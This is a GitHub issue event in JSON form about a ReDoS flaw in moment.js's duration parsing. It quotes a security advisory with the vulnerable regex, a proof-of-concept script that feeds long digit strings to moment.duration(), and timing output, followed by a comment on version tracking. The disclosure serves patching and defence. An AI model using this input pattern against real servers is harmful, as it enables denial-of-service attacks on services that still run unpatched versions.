{"action":"created","issue":{"url":"https://api.github.com/repos/moment/moment/issues/2936","repository_url":"https://api.github.com/repos/moment/moment","labels_url":"https://api.github.com/repos/moment/moment/issues/2936/labels{/name}","comments_url":"https://api.github.com/repos/moment/moment/issues/2936/comments","events_url":"https://api.github.com/repos/moment/moment/issues/2936/events","html_url":"https://github.com/moment/moment/issues/2936","id":130448166,"number":2936,"title":"Regular Expression Denial of Service","user":{"login":"joeybaker","id":36662,"avatar_url":"https://avatars.githubusercontent.com/u/36662?v=3","gravatar_id":"","url":"https://api.github.com/users/joeybaker","html_url":"https://github.com/joeybaker","followers_url":"https://api.github.com/users/joeybaker/followers","following_url":"https://api.github.com/users/joeybaker/following{/other_user}","gists_url":"https://api.github.com/users/joeybaker/gists{/gist_id}","starred_url":"https://api.github.com/users/joeybaker/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/joeybaker/subscriptions","organizations_url":"https://api.github.com/users/joeybaker/orgs","repos_url":"https://api.github.com/users/joeybaker/repos","events_url":"https://api.github.com/users/joeybaker/events{/privacy}","received_events_url":"https://api.github.com/users/joeybaker/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/moment/moment/labels/Bug","name":"Bug","color":"e11d21"},{"url":"https://api.github.com/repos/moment/moment/labels/Help%20Wanted","name":"Help Wanted","color":"fef2c0"},{"url":"https://api.github.com/repos/moment/moment/labels/Up-For-Grabs","name":"Up-For-Grabs","color":"009800"}],"state":"closed","locked":false,"assignee":null,"milestone":null,"comments":15,"created_at":"2016-02-01T18:48:55Z","updated_at":"2016-02-04T04:21:47Z","closed_at":"2016-02-03T05:38:30Z","body":"Via the Node Security Project: https://nodesecurity.io/advisories/55\r\n\r\n> *Overview*\r\n> \r\n> moment is vulnerable to regular expression denial of service when user input is passed unchecked into moment.duration() blocking the event loop for a period of time.\r\n> \r\n> \"The Regular expression Denial of Service (ReDoS) is a Denial of Service attack, that exploits the fact that most Regular Expression implementations may reach extreme situations that cause them to work very slowly (exponentially related to input size). An attacker can then cause a program using a Regular Expression to enter these extreme situations and then hang for a very long time.\" [1]\r\n> \r\n> It's not a huge amplification it takes about 25k characters to get 1.1 seconds however that's well under most servers max request size so it's certainly exploitable.\r\n> \r\n> The regular expression in question\r\n> \r\n> moment/2.10.6/moment.js\r\n> \r\n> `1679     var aspNetRegex = /(\\-)?(?:(\\d*)\\.)?(\\d+)\\:(\\d+)(?:\\:(\\d+)\\.?(\\d{3})?)?/;`\r\n>\r\n> *Proof of concept*\r\n> \r\n> ```\r\n> var moment = require('moment');\r\n> \r\n> var genstr = function (len, chr) {\r\n    > var result = \"\";\r\n    > for (i=0; i<=len; i++) {\r\n        > result = result + chr;\r\n    > }\r\n> \r\n    > return result;\r\n> }\r\n> \r\n> \r\n> for (i=20000;i<=10000000;i=i+10000) {\r\n    > console.log(\"COUNT: \" + i);\r\n    > var str = '-' + genstr(i, '1')\r\n    > console.log(\"LENGTH: \" + str.length);\r\n    > var start = process.hrtime();\r\n    > moment.duration(str)\r\n> \r\n    > var end = process.hrtime(start);\r\n    > console.log(end);\r\n> }\r\n> ```\r\n>\r\n> *Results*\r\n> \r\n> ```\r\n> $ node moment.js\r\n> COUNT: 20000\r\n> LENGTH: 20002\r\n> [ 0, 618931029 ]\r\n> COUNT: 30001\r\n> LENGTH: 30003\r\n> [ 1, 401413894 ]\r\n> COUNT: 40002\r\n> LENGTH: 40004\r\n> [ 2, 437075303 ]\r\n> COUNT: 50003\r\n> LENGTH: 50005\r\n> [ 3, 824664804 ]\r\n> COUNT: 60004\r\n> LENGTH: 60006\r\n> [ 5, 651335262 ]\r\n> ```"},"comment":{"url":"https://api.github.com/repos/moment/moment/issues/comments/179621448","html_url":"https://github.com/moment/moment/issues/2936#issuecomment-179621448","issue_url":"https://api.github.com/repos/moment/moment/issues/2936","id":179621448,"user":{"login":"Martii","id":114709,"avatar_url":"https://avatars.githubusercontent.com/u/114709?v=3","gravatar_id":"","url":"https://api.github.com/users/Martii","html_url":"https://github.com/Martii","followers_url":"https://api.github.com/users/Martii/followers","following_url":"https://api.github.com/users/Martii/following{/other_user}","gists_url":"https://api.github.com/users/Martii/gists{/gist_id}","starred_url":"https://api.github.com/users/Martii/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Martii/subscriptions","organizations_url":"https://api.github.com/users/Martii/orgs","repos_url":"https://api.github.com/users/Martii/repos","events_url":"https://api.github.com/users/Martii/events{/privacy}","received_events_url":"https://api.github.com/users/Martii/received_events","type":"User","site_admin":false},"created_at":"2016-02-04T04:21:47Z","updated_at":"2016-02-04T04:21:47Z","body":"Sooooo just as a FYI... https://david-dm.org/OpenUserJS/OpenUserJS.org still states that it is present with 2.11.2 ... they might have a cache time that I'm not aware of but it's still showing there too."}}